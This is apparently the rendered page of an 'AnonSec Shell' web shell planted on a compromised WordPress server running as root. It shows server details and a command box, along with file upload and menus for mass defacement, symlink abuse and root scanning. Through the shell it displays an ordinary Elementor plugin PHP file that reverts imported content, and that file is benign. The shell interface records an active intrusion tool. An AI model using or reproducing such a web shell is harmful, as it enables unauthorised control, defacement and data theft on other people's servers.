AnonSec Shell
Server IP : 172.67.157.199  /  Your IP : 3.128.205.47   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/plugins/elementor/app/modules/import-export/runners/revert/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/plugins/elementor/app/modules/import-export/runners/revert/elementor-content.php
<?php

namespace Elementor\App\Modules\ImportExport\Runners\Revert;

use Elementor\App\Modules\ImportExport\Utils as ImportExportUtils;
use Elementor\Plugin;

class Elementor_Content extends Revert_Runner_Base {
	private $show_page_on_front;

	private $page_on_front_id;

	public function __construct() {
		$this->init_page_on_front_data();
	}

	public static function get_name() : string {
		return 'elementor-content';
	}

	public function should_revert( array $data ) : bool {
		return (
			isset( $data['runners'] ) &&
			array_key_exists( static::get_name(), $data['runners'] )
		);
	}

	public function revert( array $data ) {
		$elementor_post_types = ImportExportUtils::get_elementor_post_types();

		$query_args = [
			'post_type' => $elementor_post_types,
			'post_status' => 'any',
			'posts_per_page' => -1,
			'meta_query' => [
				[
					'key' => static::META_KEY_ELEMENTOR_EDIT_MODE,
					'compare' => 'EXISTS',
				],
				[
					'key' => static::META_KEY_ELEMENTOR_IMPORT_SESSION_ID,
					'value' => $data['session_id'],
				],
			],
		];

		$query = new \WP_Query( $query_args );

		foreach ( $query->posts as $post ) {
			$post_type_document = Plugin::$instance->documents->get( $post->ID );
			$post_type_document->delete();

			// Deleting the post will reset the show_on_front option. We need to set it to false,
			// so we can set it back to what it was.
			if ( $post->ID === $this->page_on_front_id ) {
				$this->show_page_on_front = false;
			}
		}

		$this->restore_page_on_front( $data );
	}

	private function init_page_on_front_data() {
		$this->show_page_on_front = 'page' === get_option( 'show_on_front' );

		if ( $this->show_page_on_front ) {
			$this->page_on_front_id = (int) get_option( 'page_on_front' );
		}
	}

	private function restore_page_on_front( $data ) {
		if ( empty( $data['runners'][ static::get_name() ]['page_on_front'] ) ) {
			return;
		}

		$page_on_front = $data['runners'][ static::get_name() ]['page_on_front'];

		$document = Plugin::$instance->documents->get( $page_on_front );

		if ( ! $document ) {
			return;
		}

		$this->set_page_on_front( $document->get_main_id() );
	}

	private function set_page_on_front( $page_id ) {
		update_option( 'page_on_front', $page_id );

		if ( ! $this->show_page_on_front ) {
			update_option( 'show_on_front', 'page' );
		}
	}
}

Anon7 - 2022
AnonSec Team